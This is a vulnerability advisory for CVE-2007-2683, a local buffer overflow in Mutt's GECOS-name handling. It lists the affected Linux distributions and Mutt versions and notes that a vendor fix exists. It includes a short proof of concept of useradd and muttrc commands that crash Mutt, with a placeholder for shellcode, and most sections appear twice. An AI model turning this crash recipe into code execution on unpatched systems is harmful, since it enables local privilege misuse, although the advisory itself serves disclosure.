Mutt Mutt_Gecos_Name Function Local Buffer Overflow Vulnerability
BID:24192
Info
Mutt Mutt_Gecos_Name Function Local Buffer Overflow Vulnerability
| Bugtraq ID: | 24192 |
| Class: | Boundary Condition Error |
| CVE: |
CVE-2007-2683 |
| Remote: | No |
| Local: | Yes |
| Published: | May 28 2007 12:00AM |
| Updated: | Aug 10 2007 06:24PM |
| Credit: | raylai reported this issue. |
| Vulnerable: |
Trustix Secure Linux 3.0.5 Trustix Secure Linux 3.0 Trustix Secure Linux 2.2 SGI ProPack 3.0 SP6 rPath rPath Linux 1 Redhat Enterprise Linux WS 4 Redhat Enterprise Linux WS 3 Redhat Enterprise Linux ES 4 Redhat Enterprise Linux ES 3 Redhat Enterprise Linux Desktop 5 client Redhat Enterprise Linux AS 4 Redhat Enterprise Linux AS 3 Redhat Enterprise Linux Desktop version 4 Redhat Enterprise Linux 5 Server Redhat Desktop 4.0 Redhat Desktop 3.0 Mutt Mutt 1.4.2 Mutt Mutt 1.4.1 Mutt Mutt 1.4 .0 Mutt Mutt 1.4.2.2 Mutt Mutt 1.4.2.1 Mandriva Linux Mandrake 2007.1 x86_64 Mandriva Linux Mandrake 2007.1 Mandriva Linux Mandrake 2007.0 x86_64 Mandriva Linux Mandrake 2007.0 MandrakeSoft Corporate Server 3.0 x86_64 MandrakeSoft Corporate Server 3.0 |
| Not Vulnerable: |
Mutt Mutt 1.4.2.3 |
Discussion
Mutt Mutt_Gecos_Name Function Local Buffer Overflow Vulnerability
Mutt is prone to a local buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before using it in a memory copy operation.
An attacker can exploit this issue to execute arbitrary code with the with the privileges of the victim. Failed exploit attempts will result in a denial of service.
Mutt is prone to a local buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before using it in a memory copy operation.
An attacker can exploit this issue to execute arbitrary code with the with the privileges of the victim. Failed exploit attempts will result in a denial of service.
Exploit / POC
Mutt Mutt_Gecos_Name Function Local Buffer Overflow Vulnerability
The following proof of concept is available:
# USERNAME=$(perl -e 'print "a" x 31')
# useradd -c '&&&&&&&&& your-favourite-ascii-shellcode-here' $USERNAME
# echo alias billg $USERNAME >~/.muttrc
# mutt billg
# Segmentation fault (core dumped)
The following proof of concept is available:
# USERNAME=$(perl -e 'print "a" x 31')
# useradd -c '&&&&&&&&& your-favourite-ascii-shellcode-here' $USERNAME
# echo alias billg $USERNAME >~/.muttrc
# mutt billg
# Segmentation fault (core dumped)
Solution / Fix
Mutt Mutt_Gecos_Name Function Local Buffer Overflow Vulnerability
Solution:
The vendor released updates to address this issue. Please see the references for more information.
Solution:
The vendor released updates to address this issue. Please see the references for more information.
References
Mutt Mutt_Gecos_Name Function Local Buffer Overflow Vulnerability
References:
References: